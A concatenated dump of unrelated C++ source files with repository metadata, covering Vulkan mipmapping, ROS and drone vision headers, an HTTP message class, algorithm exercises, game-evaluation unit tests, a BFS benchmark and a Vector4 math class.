VK_PIPELINE_STAGE_TRANSFER_BIT,
VK_PIPELINE_STAGE_TRANSFER_BIT,
0,
0,
nullptr,
0,
nullptr,
1,
&barrier);
VkImageBlit blit = {};
blit.srcOffsets[0] = { 0, 0, 0 };
blit.srcOffsets[1] = { mipWidth, mipHeight, 1 };
blit.srcSubresource.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT;
blit.srcSubresource.mipLevel = (i - 1);
blit.srcSubresource.baseArrayLayer = 0;
blit.srcSubresource.layerCount = 1;
blit.dstOffsets[0] = { 0, 0, 0 };
blit.dstOffsets[1] = { mipWidth > 1 ? mipWidth / 2 : 1, mipHeight > 1 ? mipHeight / 2 : 1, 1 };
blit.dstSubresource.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT;
blit.dstSubresource.mipLevel = i;
blit.dstSubresource.baseArrayLayer = 0;
blit.dstSubresource.layerCount = 1;
vkCmdBlitImage(commandBuffer.getCommandBuffer(),
image,
VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL,
image,
VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL,
1,
&blit,
VK_FILTER_LINEAR);
barrier.oldLayout = VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL;
barrier.newLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL;
barrier.srcAccessMask = VK_ACCESS_TRANSFER_READ_BIT;
barrier.dstAccessMask = VK_ACCESS_SHADER_READ_BIT;
vkCmdPipelineBarrier(commandBuffer.getCommandBuffer(),
VK_PIPELINE_STAGE_TRANSFER_BIT,
VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT,
0,
0,
nullptr,
0,
nullptr,
1,
&barrier);
if (mipWidth > 1) { mipWidth /= 2; }
if (mipHeight > 1) { mipHeight /= 2; }
}
barrier.subresourceRange.baseMipLevel = (mipLevels - 1);
barrier.oldLayout = VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL;
barrier.newLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL;
barrier.srcAccessMask = VK_ACCESS_TRANSFER_WRITE_BIT;
barrier.dstAccessMask = VK_ACCESS_SHADER_READ_BIT;
vkCmdPipelineBarrier(commandBuffer.getCommandBuffer(),
VK_PIPELINE_STAGE_TRANSFER_BIT,
VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT,
0,
0,
nullptr,
0,
nullptr,
1,
&barrier);
commandBuffer.submitOneTimeCommandBuffer(logicalDevice);
}
else
{
throw std::runtime_error("Image format does not support linear blitting");
}
}
bool Image::hasStencilComponent(VkFormat format) { return format == VK_FORMAT_D32_SFLOAT_S8_UINT || format == VK_FORMAT_D24_UNORM_S8_UINT; } | true |
ba586793c5d43a7cc2d2b3312d982452803cb2d7 | C++ | luizfernandolfn/ruler | /mrta_archs/alliance/include/alliance/sensor.h | UTF-8 | 682 | 2.609375 | 3 | [] | no_license | #ifndef _ALLIANCE_SENSOR_H_
#define _ALLIANCE_SENSOR_H_
#include <ros/time.h>
#include <utilities/functions/unary_sample_holder.h>
#include <utilities/has_id.h>
namespace alliance
{
class Sensor : public utilities::HasId<std::string>
{
public:
Sensor(const std::string& id);
virtual ~Sensor();
bool isUpToDate(const ros::Time& timestamp = ros::Time::now());
private:
typedef utilities::functions::UnarySampleHolder SampleHolder;
typedef utilities::functions::UnarySampleHolderPtr SampleHolderPtr;
SampleHolderPtr sample_holder_;
};
typedef boost::shared_ptr<Sensor> SensorPtr;
typedef boost::shared_ptr<Sensor const> SensorConstPtr;
}
#endif // _ALLIANCE_SENSOR_H_
| true |
d026c155c384647fa742f431aae1dddade553d79 | C++ | RoshaniPatel10994/c-quizzes- | /quiz 1/quiz/quiz/quiz.cpp | UTF-8 | 428 | 3.265625 | 3 | [] | no_license | #include <iostream>
#include <iomanip>
#include <string>
using namespace std;
// Variable
int main()
{
string person1;
string person2;
string person3;
cout << "Please enter a famouse trio: ";
cin >> person1 >> person2 >> person3;
string s1 = "1) ";
string s2 = "2) ";
string s3 = "3) ";
cout << s1 << person1 << endl;
cout << s2 << person2 << endl;
cout << s3 << person3 << endl;
return 0;
} | true |
5e21636630c1fe9f1ffc2423b69c432e37dc4738 | C++ | diesarrollador/University-1st-2nd-3rd-Years | /Semestre2-CodeTest/ejemplo void.cpp | IBM852 | 1,116 | 3.765625 | 4 | [] | no_license | #include <stdio.h>
#include <stdlib.h>
#include <iostream>
using namespace std;
void suma (int a, int b); /*Declaracion de la funcion*/
void mayor (int a, int b); /*Tipo de dato, nombre de la funcin y el tipo y nombre de los argumentos*/
int main()
{
int a, b;
cout<<"Ingrese el valor de a: ";
cin>>a;
cout<<"Ingrese el valor de b: ";
cin >>b;
suma(a,b); /*Llamado de la funcin*/
mayor(a,b); /*Unicamente el nombre de la funcin y de los par metros*/
system("pause");
return 0; }
void suma(int a, int b) /*Definicin de la funcin*/
{
int sum; /*Declaracin de las variables locales*/
sum=a+b;
cout<<"El valor de la suma es: "<<sum<<endl;
} /*Fin de la funcin suma*/
void mayor(int a, int b)
{
if(a==b)
cout<<"Son iguales"<<endl;
else
{
if(a>b)
cout<<"El valor de a es mayor que el de b"<<endl;
else
cout<<"El valor de b es mayor que el de a"<<endl;
}
}
| true |
a3054d173a1ca11a575320d30dbd6a7484bd1bde | C++ | liuzixing/scut | /POJ/poj/poj2750-Rotted Flower.cpp | GB18030 | 2,388 | 2.875 | 3 | [] | no_license | #include <iostream>
#include <cstdlib>
#include <cstdio>
#include <cmath>
#include <algorithm>
using namespace std;
const int maxn = 100010;
struct node
{
int sum,mins,maxs;//ܺͣСӶΣӶ
int lmin,lmax;//СӶΣӶΣ
int rmin,rmax;//СӶΣСӶ
}tree[maxn * 4];
int data[maxn];
int n,m;
int Min(int a,int b,int c,int d,int e)
{
int ans = (a < b) ? a : b;
ans = (ans < c) ? ans : c;
ans = (ans < d) ? ans : d;
ans = (ans < e) ? ans : e;
return ans;
}
int Max(int a,int b,int c,int d,int e)
{
int ans = (a > b) ? a : b;
ans = (ans > c) ? ans : c;
ans = (ans > d) ? ans : d;
ans = (ans > e) ? ans : e;
return ans;
}
void update(int k)
{
int lson = k << 1,rson = lson | 1;
tree[k].sum = tree[lson].sum + tree[rson].sum;
tree[k].lmax = max(tree[lson].sum + tree[rson].lmax,tree[lson].lmax);
tree[k].lmin = min(tree[lson].sum + tree[rson].lmin,tree[lson].lmin);
tree[k].rmax = max(tree[rson].sum + tree[lson].rmax,tree[rson].rmax);
tree[k].rmin = min(tree[rson].sum + tree[lson].rmin,tree[rson].rmin);
tree[k].mins = Min(tree[lson].mins,tree[rson].mins,tree[lson].rmin + tree[rson].lmin,tree[k].rmin , tree[k].lmin);
tree[k].maxs = Max(tree[lson].maxs,tree[rson].maxs,tree[lson].rmax + tree[rson].lmax,tree[k].rmax , tree[k].lmax);
}
void maketree(int l,int r,int p = 1)
{
if (l == r)
{
tree[p].sum = tree[p].mins = tree[p].maxs = data[l];
tree[p].rmin = tree[p].lmin = tree[p].lmax = tree[p].rmax = data[l];
}
else
{
int mid = (l + r) >> 1;
maketree(l,mid,p << 1);
maketree(mid + 1,r,(p << 1) | 1);
update(p);
}
}
void insert(int l,int r,int a,int b,int p = 1)
{
if (l == r)
{
tree[p].sum = tree[p].mins = tree[p].maxs = b;
tree[p].rmin = tree[p].lmin = tree[p].lmax = tree[p].rmax = b;
}
else
{
int mid = (l + r) >> 1;
if (a <= mid)
insert(l ,mid ,a,b,p << 1);
else
insert(mid + 1,r,a,b,(p << 1) | 1);
update(p);
}
}
int main()
{
int ans,a,b;
scanf("%d",&n);
for (int i = 1;i <= n;i++)
scanf("%d",&data[i]);
maketree(1,n);
scanf("%d",&m);
while (m--)
{
scanf("%d %d",&a,&b);
insert(1,n,a,b);
if (tree[1].maxs = tree[1].sum)
ans = tree[1].sum - tree[1].mins;
else
ans = max(tree[1].maxs,tree[1].sum - tree[1].mins);
printf("%d\n",ans);
}
} | true |
59cc8c24307eb707e188ac684c674f49c91aec06 | C++ | Forener01/Drone_thesis_2017_old2 | /ucl_drone_2016/src/ucl_drone/include/ucl_drone/computer_vision/target.h | UTF-8 | 3,196 | 2.640625 | 3 | [] | no_license | /*!
* \file target.h
* \brief Header file for the Target class which wraps all procedures to detect a predfined target
* \author Arnaud Jacques & Alexandre Leclere
* \date 2016
*
* Part of ucl_drone.
*/
#ifndef UCL_DRONE_TARGET_H
#define UCL_DRONE_TARGET_H
// #define DEBUG_TARGET // if defined a window with target matches is displayed
// #define DEBUG_PROJECTION // if defined print relative errors of projection for the target
#include <ucl_drone/computer_vision/computer_vision.h>
//! Filename to the target from within the package
static const std::string TARGET_RELPATH = "/target/target_bottom.png";
#ifdef DEBUG_TARGET
static const std::string OPENCV_WINDOW = "Object matches";
#endif
/*!
* \class Target
* \brief Provide tools to track the presence of a target
*/
class Target
{
private:
cv::Mat image; //! Picture of the target as read at $TARGET_RELPATH$
std::vector< cv::KeyPoint > keypoints; //! keypoints detected on the target picture
cv::Mat descriptors; //! target keypoints descriptors
std::vector< cv::Point2f > centerAndCorners; //! position of the center and the corners of the
//! target
cv::FlannBasedMatcher matcher; //! wrapper object to the FLANN library to perform matching with
//! the video pictures
public:
//! Constructor
Target();
//! Destructor
~Target();
//! initializer
bool init(const std::string relative_path);
//! This method detects the target in a given picture
//! \param[in] cam_descriptors The desciptors of keypoints in camera picture
//! \param[in] cam_keypoints The coordinates of keypoints in camera picture
//! \param[out] good_matches The good matches between the target picture and the camera picture,
//! in OpenCV format
//! \param[out] idxs_to_remove A list of indexes of keypoints on the target
//! \param[out] target_coord The coordinates if the target is detected
//! \param[in] pose (#ifdef DEBUG_PROJECTION) Pose of the drone estimated with
//! \param[in] image_cam (#ifdef DEBUG_TARGET) image matrix (OpenCV format)
//! \return true if the target is detected
bool detect(cv::Mat cam_descriptors, std::vector< cv::KeyPoint >& cam_keypoints,
std::vector< cv::DMatch >& good_matches, std::vector< int >& idxs_to_remove,
std::vector< cv::Point2f >& target_coord
#ifdef DEBUG_PROJECTION
,
ucl_drone::Pose3D pose
#endif
#ifdef DEBUG_TARGET
,
cv::Mat& image_cam
#endif
);
//! This method draws a green frame to indicate the detected target
//! \param[in] cam_img image matrix (OpenCV format)
void draw(cv::Mat cam_img, std::vector< cv::KeyPoint > cam_keypoints,
std::vector< cv::DMatch > good_matches, cv::Mat& img_matches);
//! This method computes the position of the target on the camera image
void position(std::vector< cv::KeyPoint > cam_keypoints, std::vector< cv::DMatch > good_matches,
std::vector< cv::Point2f >& coord);
};
bool customLess(cv::DMatch a, cv::DMatch b);
#endif /* UCL_DRONE_TARGET_DETECTION_H */
| true |
f9874066683277c929f9bc087643c81ced544f4d | C++ | mehulthakral/logic_detector | /backend/CDataset/strStr/strStr_55.cpp | UTF-8 | 418 | 2.796875 | 3 | [] | no_license | class Solution
{
public:
int strStr(std::string haystack, std::string needle)
{
const auto dim1 = haystack.size();
const auto dim2 = needle.size();
int pos = 0;
while(true)
{
const auto tmp = haystack.substr(pos, dim2);
if(tmp == needle) return pos;
pos++;
if(pos + dim2 > dim1) break;
}
return -1;
}
}; | true |
90fb245cffd8c2220bb44529aaf4a2db5b4aff35 | C++ | starmap0312/leetcode | /burst_balloons2.cpp | UTF-8 | 1,824 | 3.71875 | 4 | [] | no_license | /* - use dynamic programming to solve the problem:
* ex. nums[0...n - 1] ==> input array
* nums[0...n + 1] ==> add two ballons of value 1 to the two ends
* the answer of the problem is ans[0][n + 1]
* - the recursion:
* let ans[i][j] denote the maximum sum that can be obtained by bursting balloons without
* the two boundary ballons, i.e. bursting ballons of nums[i + 1...j - 1] arbitrarily
* observe that ans[i][j] can be computed recursively as follows:
* ans[i][j] = max(ans[i][k] + ans[k][j] + nums[i] * nums[k] * nums[j]) for all i < k < j,
* where nums[k] is the chosen ballon to be burst lastly
* - the order of computation:
* to compute the answer of all i, j where j - i = l, the answers of all i, j
* where j - i = l' for all l' < l must already be computed
* - boundary case: ans[i][j] = 0 for j - i = 1
* - the total time of the above approach is O(n ^ 3)
*/
#include <iostream>
#include <vector>
using namespace std;
class Solution {
public:
int maxCoins(vector<int>& nums) {
nums.insert(nums.begin(), 1), nums.insert(nums.end(), 1);
vector<vector<int> > ans(nums.size(), vector<int>(nums.size(), 0));
for (int l = 2; l < nums.size(); l++) {
for (int i = 0; i < nums.size() - l; i++) {
int j = i + l;
int maxsum = 0;
for (int k = i + 1; k <= j - 1; k++) {
int sum = ans[i][k] + ans[k][j] + nums[i] * nums[k] * nums[j];
if (sum > maxsum) maxsum = sum;
}
ans[i][j] = maxsum;
}
}
return ans[0][nums.size() - 1];
}
};
int main() {
int a[] = { 3, 1, 5, 8 };
vector<int> nums(a, a + 4);
Solution solution;
cout << solution.maxCoins(nums) << endl;
return 0;
}
| true |
dba6e1ae5f2c439c158d2e49aea0581cb1efb14c | C++ | WULEI7/WULEI7 | /洛谷/专题/递归专题/洛谷P1706(下一个排列).cpp | GB18030 | 278 | 2.515625 | 3 | [] | no_license | #include <bits/stdc++.h>
using namespace std;
int main()
{
int n,i,p[9];
scanf("%d",&n);
for(i=0;i<n;i++)
p[i]=i+1;
do
{
for(i=0;i<n;i++)
printf("%5d",p[i]);
printf("\n");
}while(next_permutation(p,p+n));//do-whileԭʼ
return 0;
}
| true |
1bb7fa4559e8be47a3d15919b2480cf244565c50 | C++ | Okrio/ecmedia | /servicecore/source/Http/http.h | UTF-8 | 2,514 | 2.78125 | 3 | [] | no_license | #ifndef _HTTP_H_
#define _HTTP_H_
#include <string>
#include <map>
#define HTTP_METHOD_UNKNOWN -1
#define HTTP_METHOD_GET 0
#define HTTP_METHOD_PUT 1
#define HTTP_METHOD_DELETE 2
#define HTTP_METHOD_POST 3
void SplitString(const std::string& src , std::map<std::string,std::string> ¶m_map);
class THttp
{
protected:
THttp();
~THttp();
public:
void SetContentType(const std::string &contentType);
void SetContentData(const std::string &data);
void SetAgentData(const std::string &strAgentData);
void SetUserAgentData(const std::string &strUserAgentData);
void SetServerData(const std::string &strServerData);
void SetHost(const std::string &strHost);
void SetAccept(const std::string &strAccept);
void SetAuthenticateData(const std::string &strAuthenticate);
void SetAuthorizationData(const std::string &strAuthorization);
void SetMobileNumData(const std::string &strMobileNum);
const std::string & GetContentType();
const std::string & GetContentData();
const std::string & GetAgentData();
const std::string & GetUserAgentData();
const std::string & GetAuthorizationData();
const std::string & GetMobileNumData();
int GetContentLength();
protected:
int EncodeMessage(std::string &outputData,int& length);
int DecodeMessage(const char* const inputData,int length);
std::string m_strContentType;
std::string m_strContentData;
std::string m_strAgentData;
std::string m_strUserAgentData;
std::string m_strServerData;
std::string m_strHost;
std::string m_strAuthenticateData;
std::string m_strAuthorizationData;
std::string m_strMobileNumData;
std::string m_strAccept;
int m_nContentLen;
};
class THttpRequest : public THttp
{
public:
THttpRequest();
~THttpRequest();
void SetMethod(int method);
void SetURI(const std::string & uri);
int GetMethod();
const std::string &GetURI();
int Encode(std::string & outputData,int& length);
int Decode(const char* const inputData,int length);
private:
int m_nMethod;
std::string m_strURI;
};
class THttpResponse : public THttp
{
public:
THttpResponse();
~THttpResponse();
void SetStatusCode(int statusCode);
int GetStatusCode();
int Encode(std::string & outputData,int& length);
int Decode(const char* const inputData,int length);
private:
int m_nStatusCode;
};
#endif
| true |
e40a58989f1178a355e22f55bd91d24269db6634 | C++ | t2kasa/aoj | /alds/alds1_9_a.cpp | UTF-8 | 1,125 | 2.578125 | 3 | [] | no_license | // http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=ALDS1_9_A
// Heaps - Complete Binary Tree
#define SUBMIT
#include <utility>
#include <algorithm>
#include <iostream>
#include <iomanip>
#include <vector>
#include <limits>
#include <numeric>
#include <functional>
#include <set>
#include <cmath>
#include <cstring>
#include <climits>
#include <memory>
using namespace std;
using ui64 = unsigned long long;
using i64 = long long;
const int MAX_H = 250;
int A[MAX_H + 1];
int parent_index(int i) { return i / 2; }
int left_index(int i) { return 2 * i; }
int right_index(int i) { return 2 * i + 1; }
int main() {
memset(A, 0, sizeof(A));
int n;
cin >> n;
for (int i = 1; i <= n; ++i) cin >> A[i];
for (int i = 1; i <= n; ++i) {
cout << "node " << i << ": key = " << A[i] << ", ";
if (parent_index(i) >= 1) cout << "parent key = " << A[parent_index(i)] << ", ";
if (left_index(i) <= n) cout << "left key = " << A[left_index(i)] << ", ";
if (right_index(i) <= n) cout << "right key = " << A[right_index(i)] << ", ";
cout << endl;
}
return 0;
} | true |
664bc4e9beaa5ac6e766be6f08b3c8d7c78ced6e | C++ | aligang/coursera_cpp | /017.homework.biggest_common_devider/biggest_common_devider.cpp | UTF-8 | 388 | 2.921875 | 3 | [] | no_license | #include<iostream>
#include<algorithm>
using namespace std;
int main(){
int a, b;
cin >> a >> b;
// a = abs(a);
// b = abs(b);
// if (a == 0 || b == 0 ){
// a = max(a, b);
// } else {
// while ( a != b){
// if (a > b){
// a -= b;
// } else {
// b -= a;
// }
// }
// }
while (a > 0 and b > 0){
if (a > b){
a %= b;
} else {
b %= a;
}
}
cout << (a + b);
}
| true |
e38ccddf108cedfce99161b841db13868a56ea8f | C++ | buhpc/bfs500 | /simd/bfs_simd.cpp | UTF-8 | 2,954 | 2.84375 | 3 | [] | no_license | #include <iostream>
#include <stdio.h> /* printf, NULL */
#include <stdlib.h> /* srand, rand */
#include <time.h>
#include <vector>
#include <queue>
#include <veclib.h>
#define VERTICES 1000
#define EDGES 10
#define GIG 1000000000
#define CPG 2.90 // Cycles per GHz -- Adjust to your computer
#include "bfs_simd.h"
using namespace std;
void populate_random(int **graph, int *size, const int vertices, const int edges) {
int i, j;
srand(time(NULL));
for (i = 0; i < vertices; i++) {
size[i] = rand() % edges;
for (j = 0; j < size[i]; j++) {
graph[i][j] = rand() % vertices;
}
}
}
void populate_known(int **graph, int* size, const int vertices, const int edges) {
int i, j;
for (i = 0; i < vertices; i++) {
size[i] = i % edges;
for (j = 0; j < size[i]; j++) {
graph[i][j] = j % vertices;
}
}
}
int main() {
int i;
// graph represents the matrix
int **graph = new int*[VERTICES];
for (i = 0; i < VERTICES; i++) {
graph[i] = new int[VERTICES];
}
int size[VERTICES] = {};
// visited contains whether a vertex has been visited
int *visited = new int[VERTICES];
for (i = 0; i < VERTICES; i++) {
visited[i] = 0;
}
// Generate the graphs
//populate_random(graph, size, VERTICES, EDGES);
populate_known(graph, size, VERTICES, EDGES);
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &time1);
// Breadth first search
bfs(graph, size, visited, VERTICES);
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &time2);
elapsedTime = diff(time1, time2);
cout << "Serial BFS" << endl;
printf("CPE: %ld\n", (long int)((double)(CPG) * (double)(GIG * elapsedTime.tv_sec + elapsedTime.tv_nsec)));
//Validation - Checks each vertex was visited once
for (i = 0; i < VERTICES; i++) {
if (visited[i] != 1) {
printf("visited[%d] was %d\n", i, visited[i]);
}
}
return 0;
}
void bfs(int** graph, int *size, int *visited, int vertices) {
// double-ended queue
deque<int> q;
int i, j, vertex, next_vertex;
for (i = 0; i < vertices; i++) {
if (!visited[i]) {
visited[i] += 1;
q.push_back(i);
while (!q.empty()) {
vertex = q.front();
q.pop_front();
for (j = 0; j < size[vertex]; j++) {
next_vertex = graph[vertex][j];
if (!visited[next_vertex]) {
visited[next_vertex] += 1;
q.push_back(next_vertex);
}
}
}
}
}
}
struct timespec diff(struct timespec start, struct timespec end) {
struct timespec temp;
if ((end.tv_nsec-start.tv_nsec) < 0) {
temp.tv_sec = end.tv_sec-start.tv_sec - 1;
temp.tv_nsec = 1000000000 + end.tv_nsec - start.tv_nsec;
} else {
temp.tv_sec = end.tv_sec - start.tv_sec;
temp.tv_nsec = end.tv_nsec - start.tv_nsec;
}
return temp;
}
| true |
6cb3b9b440318ceb49e6dfc80acf463eb82648b3 | C++ | hibax/toto | /test/EvaluationTest.cpp | UTF-8 | 5,319 | 2.75 | 3 | [] | no_license | #include <limits.h>
#include "gtest/gtest.h"
#include "Evaluation.h"
#include "Unit.h"
#include "Grid.h"
#include "Algo.h"
#include "Board.h"
#include "Action.h"
using namespace std;
TEST(Evaluation, firstTest){
int size = 5;
int unitsPerPlayer = 1;
vector<string> rows;
rows.push_back("00000");
rows.push_back("00000");
rows.push_back("00000");
rows.push_back("00032");
rows.push_back("03210");
vector<Unit> ourUnits;
ourUnits.push_back(Unit(0, { 1, 3 }));
vector<Unit> otherUnits;
otherUnits.push_back(Unit(1, { 4, 4 }));
vector<string> legalActions;
vector<vector<int> > cells(size, vector<int>(size));
Grid grid(cells, size);
grid.fillGrid(grid, rows, size);
Board board(grid, ourUnits, otherUnits, legalActions);
Action actionScore(ACTION_TYPE::MOVEBUILD, 0, DIRECTION::S, DIRECTION::E);
EXPECT_EQ(2*SCORING_VALUE + 6, Evaluation::score(make_pair(actionScore, board.play(actionScore))));
Action actionCloseBuilding(ACTION_TYPE::MOVEBUILD, 0, DIRECTION::E, DIRECTION::SW);
EXPECT_EQ(-CLOSING_BUILDING_VALUE - 4, Evaluation::score(make_pair(actionCloseBuilding, board.play(actionCloseBuilding))));
Action actionBlockingEnemy(ACTION_TYPE::MOVEBUILD, 0, DIRECTION::E, DIRECTION::SE);
EXPECT_EQ(BLOCKING_VALUE - 2, Evaluation::score(make_pair(actionBlockingEnemy, board.play(actionBlockingEnemy))));
pair<Action, Board> bestState = Algo::getBest(make_pair(Action(), board));
EXPECT_EQ(actionBlockingEnemy.getAsString(), bestState.first.getAsString());
}
TEST(Evaluation, fullOfScoringCells) {
int size = 7;
int unitsPerPlayer = 1;
vector<string> rows;
rows.push_back("...3...");
rows.push_back("..333..");
rows.push_back(".33333.");
rows.push_back("3333311");
rows.push_back(".33333.");
rows.push_back("..333..");
rows.push_back("...3...");
vector<Unit> ourUnits;
ourUnits.push_back(Unit(0, { 5, 3 }));
ourUnits.push_back(Unit(1, { 0, 3 }));
vector<Unit> otherUnits;
otherUnits.push_back(Unit(0, { 3, 0 }));
otherUnits.push_back(Unit(1, { 6, 3 }));
vector<string> legalActions;
vector<vector<int> > cells(size, vector<int>(size));
Grid grid(cells, size);
grid.fillGrid(grid, rows, size);
Board board(grid, ourUnits, otherUnits, legalActions);
Action actionBlockingEnemy(ACTION_TYPE::MOVEBUILD, 0, DIRECTION::E, DIRECTION::SE);
pair<Action, Board> bestState = Algo::getBest(make_pair(Action(), board));
//EXPECT_EQ(actionBlockingEnemy.getAsString(), bestState.first.getAsString());
}
TEST(Evaluation, almostBlocked) {
int size = 7;
int unitsPerPlayer = 1;
vector<string> rows;
rows.push_back("...4...");
rows.push_back("..034..");
rows.push_back(".04334.");
rows.push_back("4043443");
rows.push_back(".14444.");
rows.push_back("..433..");
rows.push_back("...4...");
vector<Unit> ourUnits;
ourUnits.push_back(Unit(0, { 1, 3 }));
ourUnits.push_back(Unit(1, { 3, 5 }));
vector<Unit> otherUnits;
otherUnits.push_back(Unit(0, { 2, 1 }));
otherUnits.push_back(Unit(1, { 4, 2 }));
vector<string> legalActions;
vector<vector<int> > cells(size, vector<int>(size));
Grid grid(cells, size);
grid.fillGrid(grid, rows, size);
Board board(grid, ourUnits, otherUnits, legalActions);
Action actionBuildOnMe(ACTION_TYPE::MOVEBUILD, 0, DIRECTION::N, DIRECTION::S);
pair<Action, Board> bestState = Algo::getBest(make_pair(Action(), board));
EXPECT_EQ(actionBuildOnMe.getAsString(), bestState.first.getAsString());
}
/*
One unit is blocked... The other one has to do something eve is score is bad
*/
TEST(Evaluation, doTheLessWorstAction) {
int size = 7;
vector<string> rows;
rows.push_back("...0...");
rows.push_back("..000..");
rows.push_back(".00000.");
rows.push_back("1001010");
rows.push_back(".11044.");
rows.push_back("..234..");
rows.push_back("...1...");
vector<Unit> ourUnits;
ourUnits.push_back(Unit(0, { 4, 3 }));
ourUnits.push_back(Unit(1, { 3, 6 }));
vector<Unit> otherUnits;
otherUnits.push_back(Unit(0, { 2, 5 }));
otherUnits.push_back(Unit(1, { 4, 2 }));
vector<string> legalActions;
vector<vector<int> > cells(size, vector<int>(size));
Grid grid(cells, size);
grid.fillGrid(grid, rows, size);
Board board(grid, ourUnits, otherUnits, legalActions);
Action actionBuildOnMe(ACTION_TYPE::MOVEBUILD, 0, DIRECTION::W, DIRECTION::SW);
pair<Action, Board> bestState = Algo::getBest(make_pair(Action(), board));
EXPECT_EQ(actionBuildOnMe.getAsString(), bestState.first.getAsString());
}
TEST(Evaluation, moveNW) {
int size = 6;
vector<string> rows;
rows.push_back(".1221.");
rows.push_back("122243");
rows.push_back("223444");
rows.push_back("233434");
rows.push_back(".3344.");
rows.push_back("2.43.3");
vector<Unit> ourUnits;
ourUnits.push_back(Unit(0, { 3, 5 }));
ourUnits.push_back(Unit(1, { 4, 3 }));
vector<Unit> otherUnits;
otherUnits.push_back(Unit(0, { 1, 4 }));
otherUnits.push_back(Unit(1, { 4, 0 }));
vector<string> legalActions;
vector<vector<int> > cells(size, vector<int>(size));
Grid grid(cells, size);
grid.fillGrid(grid, rows, size);
Board board(grid, ourUnits, otherUnits, legalActions);
Action actionBuildOnMe(ACTION_TYPE::MOVEBUILD, 0, DIRECTION::NW, DIRECTION::N);
pair<Action, Board> bestState = Algo::getBest(make_pair(Action(), board));
EXPECT_EQ(actionBuildOnMe.getAsString(), bestState.first.getAsString());
}
| true |
60577e6d00cdb4d4ff3d65bde9456e1958cb3eb7 | C++ | Khallimero/myrt_tuple | /primitives/ShapeCollection.h | UTF-8 | 902 | 2.53125 | 3 | [] | no_license | #pragma once
#include "Collection.h"
#include "Shape.h"
#include "SmartPointer.h"
class ShapeCollection:public ObjCollection< SmartPointer<Shape> >
{
public:
ShapeCollection(SmartPointer<Shape> b=SmartPointer<Shape>(NULL));
virtual ~ShapeCollection();
public:
virtual Hit getHit(const Ray& r)const;
ObjCollection<Hit> getHit(const ObjCollection<Ray>& r)const;
ObjCollection<Hit> getIntersect(const ObjCollection<Ray>& r)const;
virtual bool intersect(const Ray& r)const;
virtual bool isInside(const Point& p,double e=0.0)const;
public:
const Shape* getBox()const
{
return box.getPointer();
}
void setBox(SmartPointer<Shape> b)
{
this->box=b;
}
protected:
ObjCollection<Hit> _getHit(const ObjCollection<Ray>& r,ObjCollection<Hit> (Shape::*fct)(const ObjCollection<Ray>&)const)const;
protected:
SmartPointer<Shape> box;
};
| true |
970fdbe933af1ee5262e133d9779fa55a6c43540 | C++ | MoltenMoustache/AIE-Y1-Maths-For-Games | /molten_maths/molten_maths/Vector4.cpp | UTF-8 | 4,661 | 3.296875 | 3 | [] | no_license | #include "Vector4.h"
// static variables
Vector4 Vector4::one = Vector4(1, 1, 1, 1);
Vector4 Vector4::zero = Vector4(0, 0, 0, 0);
float& Vector4::operator[] (const int a_index) {
assert((a_index >= 0) && (a_index < 4) && "Vector4 index out of range!");
return m_data[a_index];
}
// Vector Cast Operator
Vector4::operator float* () {
return m_data;
}
// Vector Cast Operator
Vector4::operator const float*() const {
return m_data;
}
// Vector + Vector
Vector4 Vector4::operator+(const Vector4& a_rhs) const {
return Vector4(x + a_rhs.x, y + a_rhs.y, z + a_rhs.z);
}
// Vector - Vector
Vector4 Vector4::operator-(const Vector4& a_rhs) const {
return Vector4(x - a_rhs.x, y - a_rhs.y, z - a_rhs.z, w - a_rhs.w);
}
// Vector * Vector
Vector4 Vector4::operator*(const Vector4& a_rhs) const
{
return Vector4(x * a_rhs.x, y * a_rhs.y, z * a_rhs.z, w * a_rhs.w);
}
Vector4 Vector4::operator*(const float& a_scalar) const {
return Vector4(x * a_scalar, y * a_scalar, z * a_scalar, w * a_scalar);
}
// Vector / Vector
Vector4 Vector4::operator/ (const Vector4& a_rhs) const {
return Vector4(x / a_rhs.x, y / a_rhs.y, z / a_rhs.z);
}
// Vector += Vector
Vector4& Vector4::operator += (const Vector4& a_other) {
x += a_other.x, y += a_other.y, z += a_other.z;
return *this;
}
// Vector *= Vector
Vector4& Vector4::operator *= (const Vector4& a_other) {
x *= a_other.x, y *= a_other.y, z *= a_other.z;
return *this;
}
// Vector -= Vector
Vector4 Vector4::operator -= (const Vector4 a_other) {
x -= a_other.x, y -= a_other.y, z -= a_other.z;
return *this;
}
// Vector /= Float
Vector4& Vector4::operator /= (float a_scalar)
{
x /= a_scalar, y /= a_scalar, z /= a_scalar;
return *this;
}
// Vector *= float
Vector4& Vector4::operator *= (float a_scalar) {
x *= a_scalar, y *= a_scalar, z *= a_scalar;
return *this;
}
// Vector += float
Vector4& Vector4::operator += (float a_scalar) {
x += a_scalar, y += a_scalar, z += a_scalar;
return *this;
}
bool Vector4::operator == (const Vector4& a_other) {
return ((x == a_other.x) && y == (a_other.y) && (z == a_other.z) && (w == a_other.w));
}
bool Vector4::operator != (const Vector4& a_other) {
return !((x == a_other.x) && (y == a_other.y) && (z == a_other.z) && (w == a_other.w));
}
float Vector4::magnitude() const { return sqrt(SqrMagnitude()); }
float Vector4::SqrMagnitude() const { return (x * x) + (y * y) + (z * z); }
float Vector4::Distance(const Vector4 a_other) const {
float diffX = x - a_other.x;
float diffY = y - a_other.y;
float diffZ = z - a_other.z;
return sqrt(diffX * diffX + diffY * diffY + diffZ * diffZ);
}
void Vector4::normalise() {
*this /= magnitude();
}
Vector4 Vector4::Normalised() const {
return *this / magnitude();
}
float Vector4::dot(const Vector4& a_other) const {
return x * a_other.x + y * a_other.y + z * a_other.z;
}
Vector4 Vector4::cross(const Vector4& a_other) const {
return { y * a_other.z - z * a_other.y,
z * a_other.x - x * a_other.z,
x * a_other.y - y * a_other.x, w };
}
float Vector4::FindAngle(const Vector4& a_other) const {
// Normalises the vectors
Vector4 a = Normalised();
Vector4 b = a_other.Normalised();
// calculates dot product and returns the angle between vectors
